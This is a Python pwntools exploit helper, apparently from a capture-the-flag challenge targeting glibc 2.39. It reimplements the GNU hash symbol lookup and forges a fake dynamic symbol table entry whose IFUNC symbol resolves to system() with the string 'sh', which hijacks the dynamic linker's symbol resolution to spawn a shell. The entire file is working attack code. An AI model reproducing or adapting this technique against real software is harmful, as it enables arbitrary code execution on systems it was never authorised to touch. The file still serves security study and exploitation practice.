from pwn import *
from pwnlib.elf import Elf64_Sym, constants
from ctypes import sizeof

SYMBOL_SIZE = sizeof(Elf64_Sym)

STB_GLOBAL = 1
STT_GNU_IFUNC = 10

DT_NUM = 38
DT_X86_64_NUM = 4
DT_THISPROCNUM = DT_X86_64_NUM
DT_VERSIONTAGNUM = 16
DT_EXTRANUM = 3
DT_VALNUM = 12
DT_ADDRRNGHI = 0x6ffffeff
DT_GNU_HASH = 0x6ffffef5
ELF_MACHINE_GNU_HASH_ADDRIDX = DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + (DT_ADDRRNGHI - DT_GNU_HASH)
__ELF_NATIVE_CLASS = 64

"""
name must end with a null
"""
def hash_symbol_name(name: str):
    contents = bytes(name)
    hash = 5381
    mask = (1 << 32) - 1
    while True:
        c0 = contents[0]
        if c0 == 0: return hash & mask
        c1 = contents[1]
        if c1 == 0:
            c0 += hash
            hash = hash * 32 + c0
            return hash & mask
        
        c1 += c0
        hash *= 33 * 33
        c1 += c0 * 32
        hash += c1
        contents = contents[2:]

def fake_libc_resolver(function_name: bytes):
    libc_path = "../chal/public/libc-2.39.so"
    data = open(libc_path, "rb").read()
    libc = ELF(libc_path)
    function_name_hash = hash_symbol_name(function_name)

    gnu_hash_offset = libc.dynamic_by_tag("DT_GNU_HASH").entry.d_val
    gnu_hash = data[gnu_hash_offset:]
    l_nbuckets = u32(gnu_hash[0:4])
    symbias = u32(gnu_hash[4:8])
    bitmask_nwords = u32(gnu_hash[8:12])
    l_gnu_bitmask_idxbits = bitmask_nwords - 1
    l_gnu_shift = u32(gnu_hash[12:16])

    l_gnu_bitmask_offset = gnu_hash_offset + 16
    l_gnu_buckets_offset = l_gnu_bitmask_offset + (__ELF_NATIVE_CLASS // 32 * bitmask_nwords) * 4
    l_gnu_chain_zero_offset = l_gnu_buckets_offset + (l_nbuckets - symbias) * 4

    log.info(f"new_hash = {function_name_hash:#x}")
    log.info(f"l_nbuckets = {l_nbuckets}")
    log.info(f"l_gnu_bitmask_idxbits = {l_gnu_bitmask_idxbits:#x}")
    log.info(f"l_gnu_shift = {l_gnu_shift}")

    log.info(f"l_gnu_bitmask offset = {l_gnu_bitmask_offset:#x}")
    log.info(f"l_gnu_buckets offset = {l_gnu_buckets_offset:#x}")
    log.info(f"l_gnu_chain_zero offset = {l_gnu_chain_zero_offset:#x}")

    bitmask_word_offset = l_gnu_bitmask_offset + (function_name_hash // __ELF_NATIVE_CLASS & l_gnu_bitmask_idxbits) * 8
    bucket_offset = l_gnu_buckets_offset + (function_name_hash % l_nbuckets) * 4
    bucket = u32(data[bucket_offset:bucket_offset+4])
    hasharr_offset = l_gnu_chain_zero_offset + bucket * 4
    symidx = bucket

    log.info(f"bitmask_word offset = {bitmask_word_offset:#x}")
    log.info(f"bucket offset = {bucket_offset:#x}")
    log.info(f"hasharr offset = {hasharr_offset:#x}")
    log.info(f"symidx = {symidx:#x}")

    dynsym = libc.dynamic_by_tag("DT_SYMTAB").entry.d_val
    dynstr = libc.dynamic_by_tag("DT_STRTAB").entry.d_val

    symbol_name_offset = u16(b"sh")

    fake = bytearray(b"A" * dynsym)

    fakesym = Elf64_Sym()
    fakesym.st_info |= STT_GNU_IFUNC
    fakesym.st_shndx = 17
    fakesym.st_value = libc.sym.system
    fakesym.st_name = symbol_name_offset
    fakesym.st_info |= STB_GLOBAL << 4

    fake = fake.ljust(dynstr + symbol_name_offset, b"A")
    fake[dynsym + SYMBOL_SIZE * symidx:dynsym + SYMBOL_SIZE * (symidx + 1)] = bytes(fakesym)
    fake += function_name

    fake[bitmask_word_offset:bitmask_word_offset+8] = data[bitmask_word_offset:bitmask_word_offset+8]
    fake[bucket_offset:bucket_offset+4] = data[bucket_offset:bucket_offset+4]
    fake[hasharr_offset:hasharr_offset+4] = data[hasharr_offset:hasharr_offset+4]

    log.info(f"len(fake) = {len(fake):#x}")

    return fake